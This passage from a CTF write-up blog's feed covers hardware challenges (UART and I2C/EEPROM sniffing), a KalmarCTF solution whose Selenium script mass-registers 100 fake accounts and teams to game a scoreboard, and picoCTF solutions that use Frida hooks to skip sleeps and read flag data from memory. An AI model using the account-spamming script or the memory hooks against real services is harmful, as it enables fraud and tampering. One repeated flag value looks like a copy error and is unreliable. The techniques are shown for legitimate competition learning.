&lt;li&gt;Answer: &lt;code&gt;194&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;compatrIoT{U4RT_Bl4ckH4t_4s14}&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Logic Analyser 1&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Challenge Description:&lt;/strong&gt;
Logic analyzer challenge requiring custom baud rate determination using signal analysis.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;
Used Saleae Logic Analyzer to determine non-standard baud rate through timing analysis.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.DXE52Zf2_1hlaPi.webp&quot; alt=&quot;Challenge Interface&quot;&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Signal capture&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Connected TX and GND to logic analyzer&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/logicanalyser.QMrmwtn2_Z1vLEeq.webp&quot; alt=&quot;Physical Connection&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Captured UART transmission in Saleae Logic software&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/determinebaudrate.C-RuanmC_Z2mz7c0.webp&quot; alt=&quot;Timing Analysis&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Baud rate calculation&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Used fastest 2-bit method: measure time between opposite bits (1→0)&lt;/li&gt;
&lt;li&gt;Applied formula: Baud rate = 1 / bit time&lt;/li&gt;
&lt;li&gt;Result: &lt;strong&gt;4000 baud&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/determinebaudratefreqtimes2.DawGKTdc_Z1nh4GM.webp&quot; alt=&quot;Signal Measurement&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Reference: &lt;a href=&quot;https://support.saleae.com/protocol-analyzers/analyzer-user-guides/using-async-serial#determining-the-proper-bit-rate-baud-rate&quot;&gt;Saleae Logic Documentation&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Challenge completion&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Connected with PuTTY using baud rate 4000&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/correctbaudrate.DHP4pdi2_Z1wsAKN.webp&quot; alt=&quot;PuTTY Connection&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Flag provided immediately upon connection&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/baudratefoundflag.C1Vhdrbi_Z2jAvAP.webp&quot; alt=&quot;Flag Retrieved&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;compatrIoT{sniffing_is_fun}&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Logic Analyser 2&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Challenge Description:&lt;/strong&gt;
I2C protocol analysis challenge requiring password extraction through EEPROM signal monitoring using logic analyzer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;
Used Saleae Logic Analyzer to monitor I2C communication and extract password from EEPROM reads during authentication.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.DyO6YgQ6_1lBSa5.webp&quot; alt=&quot;Challenge Interface&quot;&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;I2C connection setup&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Connected SDA, SCL, and GND pins to logic analyzer based on provided schematic&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/documentation.jdLl0nYP_Z1iqk88.webp&quot; alt=&quot;Schematic Documentation&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Signal monitoring&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Accessed challenge login page requiring password input&lt;/li&gt;
&lt;li&gt;Entered random input to trigger authentication process&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/behaviour.BGrkZ8A1_2ipxNy.webp&quot; alt=&quot;Challenge Behavior&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Observed I2C signal activity in Saleae Logic during authentication&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/logicssdascl.BarNxB4w_Z7k8JK.webp&quot; alt=&quot;I2C Signal Analysis&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Password extraction&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Analyzed I2C communication to extract comparison string&lt;/li&gt;
&lt;li&gt;Identified password: &lt;code&gt;BHA2025!&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Successfully authenticated with extracted password&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/finalflag.CLKYnWBe_ZGL1xv.webp&quot; alt=&quot;Flag Retrieved&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;CTF{EEPROM_Sn1ff_Ch4llenge}&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Challenges Not Attempted&lt;/h2&gt;
&lt;h3&gt;📶 BLE (Bluetooth Low Energy)&lt;/h3&gt;
&lt;h4&gt;BLE-Device 1&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Challenge Description:&lt;/strong&gt;
Introduction to Bluetooth Low Energy (BLE) hacking using mobile analysis tools.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;
I didn&apos;t fully attempt this challenge. Started exploring with nRF Connect mobile app but didn&apos;t complete the challenge requirements.&lt;/p&gt;
&lt;h4&gt;BLE-Device 2&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Challenge Description:&lt;/strong&gt;
Advanced BLE exploitation challenge requiring programmatic GATT characteristic enumeration and manipulation using Python scripting.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;
I didn&apos;t complete this challenge. The author provided a Python script template using the &lt;code&gt;bleak&lt;/code&gt; library for BLE communication, but I didn&apos;t successfully implement the solution to extract the flag from the target device.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;🔧 Soldering &amp;#x26; PCB Reversing&lt;/h3&gt;
&lt;h4&gt;Solder Says&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Challenge Description:&lt;/strong&gt;
Basic soldering challenge on the SinCon badge (SGD 40). Requires soldering through-hole LEDs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;
I didn&apos;t attempt this challenge as it required purchasing the SGD 40 badge. The challenge would involve soldering the provided LEDs into the designated through-hole positions on the badge.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;📡 RFID&lt;/h3&gt;
&lt;h4&gt;RFID-2&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Challenge Description:&lt;/strong&gt;
Advanced RFID challenge requiring specialized hardware to read RFID card information using tools like Proxmark3.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;
I didn&apos;t attempt this challenge due to time constraints. The solution would involve using an RFID card reader and working with Proxmark3 to extract information from the RFID card.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;📻 Wireless Protocol Exploitation&lt;/h3&gt;
&lt;h4&gt;BPSK Challenge&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Challenge Description:&lt;/strong&gt;
Wireless protocol exploitation challenge involving Binary Phase Shift Keying (BPSK) modulated signals. Requires analyzing and exploiting wireless communication protocols to extract hidden information or gain unauthorized access.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;
I didn&apos;t attempt this challenge due to unfamiliarity with wireless protocol exploitation and BPSK demodulation techniques.&lt;/p&gt;
&lt;h4&gt;Pager Challenge&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Challenge Description:&lt;/strong&gt;
Wireless protocol exploitation challenge focusing on pager communication systems. Involves intercepting, analyzing, and potentially manipulating pager protocol communications.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;
I didn&apos;t attempt this challenge due to unfamiliarity with pager protocol exploitation techniques.&lt;/p&gt;</content:encoded><h:img src="/_astro/hardwarebanner.F2ciWu6y.jpg"/><enclosure url="/_astro/hardwarebanner.F2ciWu6y.jpg"/></item><item><title>pingCTF 2025</title><link>https://gr1d-init.github.io/blog/pingctf2025</link><guid isPermaLink="true">https://gr1d-init.github.io/blog/pingctf2025</guid><description>Writeups for pingCTF 2025</description><pubDate>Mon, 24 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Misc&lt;/h2&gt;
&lt;h2&gt;ones-and-zeroes&lt;/h2&gt;
&lt;h2&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.CRaq_wyo_Z2kYfNS.webp&quot; alt=&quot;Question&quot;&gt;&lt;/h2&gt;
&lt;h3&gt;Goals&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Download PulseView to decode the I2C signal&lt;/li&gt;
&lt;li&gt;Identify the SDA and SCL, decode the signal, focus on DATA WRITE hexdump.&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/hexdump.JjLducdK_Z1688Q0.webp&quot; alt=&quot;hexdump&quot;&gt;&lt;/li&gt;
&lt;li&gt;Research on connection between I2C port, how it communicate with LCD pane.&lt;/li&gt;
&lt;li&gt;From LCD pane datasheet, decode the message.
https://cdn.sparkfun.com/assets/9/5/f/7/b/HD44780.pdf&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;Solution&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Identify the pinouts and we realise that the focus is only on I2C outputs SDA and SCL, at the end passing to HD44780 LCD Pane, so we don&apos;t bother anything on breadboard.
&lt;img src=&quot;https://gr1d-init.github.io/_astro/setup1.CB43ILVn_23kalz.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
&lt;img src=&quot;./assets/ref.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Since we are the LED controller is PCF8574, we are going to operate HD44780 on 4-bit data mode.&lt;br&gt;
To retrieve a single ASCII Hex character, it work on High nibble and Low nibble.&lt;br&gt;
As in hexdump instruction, it exist like this:&lt;br&gt;
- High nibble, E(Enable)= 1&lt;br&gt;
- High nibble, E(Enable) = 0&lt;br&gt;
- Low nibble, E(Enable) = 1&lt;br&gt;
- Low nibble, E(Enable) = 0&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dissect the High Nibble and Low Nibble binaries, combine them into single series, decode it into ascii characters.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Solution overview&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/overview.DLUu8Wwu_i0jbH.webp&quot; alt=&quot;Overview&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Final Result&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;pingCTF{Silicon_Is_Talking_To_Me}&lt;/code&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/pingCTFbanner.1jdtJ9nV.png"/><enclosure url="/_astro/pingCTFbanner.1jdtJ9nV.png"/></item><item><title>KalmarCTF 2025</title><link>https://gr1d-init.github.io/blog/kalmarctf2025</link><guid isPermaLink="true">https://gr1d-init.github.io/blog/kalmarctf2025</guid><description>Writeups for kalmarCTF 2025</description><pubDate>Tue, 11 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Misc&lt;/h2&gt;
&lt;h2&gt;babyKalmarCTF&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Question: Ever played a CTF inside a CTF?

We were looking for a new scoring algorithm which would both reward top teams for solving super hard challenges, but also ensure that the easiest challenges wouldn&apos;t go to minimum straight away if more people played than we expected.

Thats when we came across this ingenious suggestion! sigpwny/ctfd-dynamic-challenges-mod#1

We&apos;ve implemented it this scoring idea(see here: https://github.com/blatchley/ctfd-dynamic-challenges-mod ) and spun up a small test ctf to test it out.

If you manage to win babykalmarCTF, we&apos;ll even give you a flag at /flag!

Spin up your own personal babykalmarCTF here: https://lab1.kalmarc.tf/
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;Goals&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Trick the dynamic CTF scoring system.&lt;/li&gt;
&lt;li&gt;Solve all the solvable CTF challenges.&lt;/li&gt;
&lt;li&gt;Spam fake team registrations on the platform.&lt;/li&gt;
&lt;li&gt;Outperform Kalmarunionen&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;Solution:&lt;/h3&gt;
&lt;p&gt;Credit: @OS1R1S &lt;em&gt;for babyKalmarCTF challenges&lt;/em&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Within babyKalmarCTF there are several categories of challenges:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Baby&apos;s first RSA adventure (Crypto)&lt;/li&gt;
&lt;li&gt;My First Flagchecker (Reverse)&lt;/li&gt;
&lt;li&gt;THE OSINT CHALLENGE (OSINT)&lt;/li&gt;
&lt;li&gt;Baffling, Ridiculous And Intriguing Letters, Laughter Ensues! (Misc)&lt;/li&gt;
&lt;li&gt;Welcome Flag (Welcome)&lt;/li&gt;
&lt;li&gt;Simple  Math Challenge (Impossible)&lt;/li&gt;
&lt;li&gt;Baby&apos;s Second RSA (Impossible)&lt;/li&gt;
&lt;li&gt;A randcrack challenge (Impossible)&lt;/li&gt;
&lt;li&gt;The Last Step (Impossible)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Welcome Flag:&lt;br&gt;
&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;babykalmar{welcome_to_babykalmar_CTF}&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;My First Flagchecker:&lt;br&gt;
&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;babykalmar{string_compare_rev_ayoooooooo}&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;THE OSINT CHALLENGE:&lt;br&gt;
&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;babykalmar{aarhus}&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Baffling, Ridiculous And Intriguing Letters, Laughter Ensues:&lt;br&gt;
&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;BABYKALMAR{SUPERORIGINALMORSECODECHALLENGE}&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Baby&apos;s first RSA adventure:&lt;br&gt;
&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code&gt;babykalmar{wow_you_are_an_rsa_master!!!!!}&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Final Result&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;After solving all the challenges, we have to trick the scoring system. The script as below, to spam fake team registration, we designed an Auto Webform Filler.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from selenium import webdriver
from selenium.webdriver.common.by import By
import time

# Set up Firefox WebDriver
options = webdriver.FirefoxOptions()
options.headless = False

driver = webdriver.Firefox(options=options)

register_url = &quot;https://45d9cb6b475c2631a4b32ccd8e0bcf6a-59591.inst1.chal-kalmarc.tf/register&quot;
team_url = &quot;https://45d9cb6b475c2631a4b32ccd8e0bcf6a-59591.inst1.chal-kalmarc.tf/teams/new&quot;
logout_url = &quot;https://45d9cb6b475c2631a4b32ccd8e0bcf6a-59591.inst1.chal-kalmarc.tf/logout&quot;

for i in range(100): 
    driver.get(register_url)
    
    username = f&quot;FakeUser{i}&quot;
    email = f&quot;fakeuser{i}@example.com&quot;
    password = &quot;P@ssw0rd123&quot;

    driver.find_element(By.ID, &quot;name&quot;).send_keys(username)
    driver.find_element(By.ID, &quot;email&quot;).send_keys(email)
    driver.find_element(By.ID, &quot;password&quot;).send_keys(password)

    driver.find_element(By.ID, &quot;_submit&quot;).click()

    time.sleep(2)

    driver.get(team_url)
    
    team_name = f&quot;FakeTeam{i}&quot;
    driver.find_element(By.ID, &quot;name&quot;).send_keys(team_name)
    driver.find_element(By.ID, &quot;password&quot;).send_keys(&quot;TeamP@ssw0rd&quot;)

    driver.find_element(By.ID, &quot;_submit&quot;).click()

    print(f&quot;Registered {username} &amp;#x26; Created Team {team_name}&quot;)

    driver.get(logout_url)
    time.sleep(2) 

driver.quit()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/webform.Cf8SJwFB_Z1xiINy.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/result.CCB27VLr_2luLlg.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;kalmar{w0w_y0u_b34t_k4lm4r_1n_4_c7f?!?}&lt;/code&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/kalmarCTFbanner.k231OVd_.png"/><enclosure url="/_astro/kalmarCTFbanner.k231OVd_.png"/></item><item><title>picoCTF 2025</title><link>https://gr1d-init.github.io/blog/picoctf2025</link><guid isPermaLink="true">https://gr1d-init.github.io/blog/picoctf2025</guid><description>Writeups for picoCTF 2025</description><pubDate>Tue, 11 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;[Reverse Engineering]&lt;/h2&gt;
&lt;h2&gt;Flag Hunters&lt;/h2&gt;
&lt;h2&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.D4LF0PKC_ZrNLQ6.webp&quot; alt=&quot;&quot;&gt;&lt;/h2&gt;
&lt;h3&gt;Goals&lt;/h3&gt;
&lt;p&gt;When the program starts, the lip is set to the line [VERSE], to retrieve the secret_intro, we need to alter the program so the lip variable set to the line of flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, &apos;&apos;&apos;\
+ flag + &apos;\n&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;as shown, flag is at line 4&lt;/p&gt;
&lt;p&gt;so passing index 0 to 3 will works, printing at the start of the lines at most line 4, index 3&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt; &lt;code&gt;&amp;#x3C;any_text&gt;;RETURN &amp;#x3C;0 to 3&gt;   (This is not injection)&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Final Result&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;picoCTF{70637h3r_f0r3v3r_c659e814}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Quantum Scrambler&lt;/h2&gt;
&lt;h2&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.BuyNjina_1PqRsl.webp&quot; alt=&quot;&quot;&gt;&lt;/h2&gt;
&lt;h3&gt;Goals&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Decrypt the encryption and retrieve the flag&lt;/li&gt;
&lt;li&gt;Dissect the elements, and observe the scramble&lt;/li&gt;
&lt;li&gt;Found final payload, decrypt with reversed scrambler&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;Solution&lt;/h3&gt;
&lt;p&gt;Reversed scrambler:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import ast

def flatten(lst):
    flat = []
    for item in lst:
        if isinstance(item, list):
            flat.extend(flatten(item))
        else:
            flat.append(item)
    return flat

def unscramble(cypher):
    print(&quot;Outer list elements:&quot;)
    for index, element in enumerate(cypher):
        print(f&quot;Element {index}: {element}&quot;)
    print(&quot;-&quot; * 40)
    
    flat_list = flatten(cypher)
    
    hex_strings = [s for s in flat_list if isinstance(s, str) and s.startswith(&quot;0x&quot;)]
    
    flag_chars = [chr(int(h, 16)) for h in hex_strings]
    flag = &apos;&apos;.join(flag_chars)
    return flag

def main():
    input_file = &apos;output.txt&apos;
    
    try:
        with open(input_file, &apos;r&apos;) as f:
            cipher_text = f.read()
    except Exception as e:
        print(f&quot;Error reading file {input_file}: {e}&quot;)
        return
    
    try:
        cypher = ast.literal_eval(cipher_text)
    except Exception as e:
        print(&quot;Error interpreting cipher text:&quot;, e)
        return
    
    flag = unscramble(cypher)
    print(&quot;Recovered flag:&quot;, flag)

if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Final payload:&lt;/strong&gt; &lt;code&gt;[[&apos;0x70&apos;],[&apos;0x69&apos;],[&apos;0x63&apos;],[&apos;0x6f&apos;],[&apos;0x43&apos;],[&apos;0x54&apos;],[&apos;0x46&apos;],[&apos;0x7b&apos;],[&apos;0x70&apos;],[&apos;0x79&apos;],[&apos;0x74&apos;],[&apos;0x68&apos;],[&apos;0x6f&apos;],[&apos;0x6e&apos;],[&apos;0x5f&apos;],[&apos;0x69&apos;],[&apos;0x73&apos;],[&apos;0x5f&apos;],[&apos;0x77&apos;],[&apos;0x65&apos;],[&apos;0x69&apos;],[&apos;0x72&apos;],[&apos;0x64&apos;],[&apos;0x65&apos;],[&apos;0x66&apos;],[&apos;0x38&apos;],[&apos;0x65&apos;],[&apos;0x61&apos;],[&apos;0x30&apos;],[&apos;0x63&apos;],[&apos;0x66&apos;],[&apos;0x7d&apos;]]&lt;/code&gt;&lt;br&gt;
&lt;em&gt;Save this as output.txt&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Final Result&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;picoCTF{python_is_weirdef8ea0cf}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Binary Instrumentation 1&lt;/h2&gt;
&lt;h2&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.CNmZgqmX_7jYbq.webp&quot; alt=&quot;&quot;&gt;&lt;/h2&gt;
&lt;h3&gt;Goals&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;The binary bininst1.exe calls the &lt;code&gt;Sleep&lt;/code&gt; function from kernel32.dll&lt;/li&gt;
&lt;li&gt;Using frida-trace, we generate the handler scripts for API functions&lt;/li&gt;
&lt;li&gt;Intercept any call to &lt;code&gt;Sleep&lt;/code&gt;, in this case, under &lt;code&gt;KERNEL32.dll&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;We then set sleep duration to 0, avoiding the program from sleeping.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;Solution&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Using frida-trace&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;frida-trace -i &quot;Sleep&quot; ./bininst1.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Intercept the handler, by modifying the handler generated, changing sleep duration to zero.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// KERNEL32.DLL/Sleep.js
var sleepAddr = Module.getExportByName(&quot;kernel32.dll&quot;, &quot;Sleep&quot;);
Interceptor.attach(sleepAddr, {
    onEnter: function (args) {
        // Log the original sleep duration (for debugging)
        console.log(&quot;Original sleep time: &quot; + args[0].toInt32());
        // Change the sleep duration to 0
        args[0] = ptr(0);
    }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Final Result&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Binary Instrumentation 2&lt;/h2&gt;
&lt;h2&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.CdWZ-AHf_Z19GuAN.webp&quot; alt=&quot;&quot;&gt;&lt;/h2&gt;
&lt;h3&gt;Goals&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Disassemble with ghidra, look for suspicious function&lt;/li&gt;
&lt;li&gt;Hook with frida&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;Solution&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Deploy the script that hook suspicious function at &lt;code&gt;0x1dc0&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// Get the module base address for bininst2.exe
var moduleBase = Module.findBaseAddress(&quot;bininst2.exe&quot;);
console.log(&quot;Module base address: &quot; + moduleBase);

// Calculate the target function address using a known offset (update this offset as needed)
var funOffset = 0x1dc0; // Adjust this based on your analysis
var targetFunction = moduleBase.add(funOffset);
console.log(&quot;Hooking function at: &quot; + targetFunction);

// Hook the target function (FUN_140001dc0)
Interceptor.attach(targetFunction, {
    onEnter: function(args) {
        // Assume:
        //   args[0] is a pointer to the flag data
        //   args[1] is the length of the flag data
        var length = args[1].toInt32();
        try {
            // Try to read the flag data as a UTF-8 string
            var flagData = Memory.readUtf8String(args[0], length);
            console.log(&quot;Flag data intercepted (utf8): &quot; + flagData);
        } catch (err) {
            console.log(&quot;Error reading flag data as UTF-8: &quot; + err);
            // If reading as a string fails, dump the raw bytes
            console.log(&quot;Flag data intercepted (raw):\n&quot; + hexdump(args[0], { length: length, header: true, ansi: false }));
        }
    },
    onLeave: function(retval) {
        console.log(&quot;FUN_140001dc0 returned: &quot; + retval);
    }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Run the script, then find for the flag&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;frida -l &amp;#x3C;script&gt;.js -f ./bininst2.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Final Result&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;Base64 Encoded Flag:&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/solution.BxGutl3z_1IGleY.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;picoCTF{fr1da_f0r_b1n_in5trum3nt4tion!_b21aef39}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;[Forensics]&lt;/h2&gt;
&lt;h2&gt;RED&lt;/h2&gt;
&lt;h2&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.CdfRLhKv_Z6uKu6.webp&quot; alt=&quot;&quot;&gt;&lt;/h2&gt;
&lt;h3&gt;Goals&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Steganography, just upload to Aperi&apos;Solve, ez flag&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;Solution&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/solution.CqqNXB79_2luwlo.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Final Result&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;flags are stepic&lt;/h2&gt;
&lt;h2&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.Da1iaKMg_ZH7ede.webp&quot; alt=&quot;&quot;&gt;&lt;/h2&gt;
&lt;h3&gt;Goals&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Find the country that doesn&apos;t exist, the flag persists&lt;/li&gt;
&lt;li&gt;Download the country flag&lt;/li&gt;
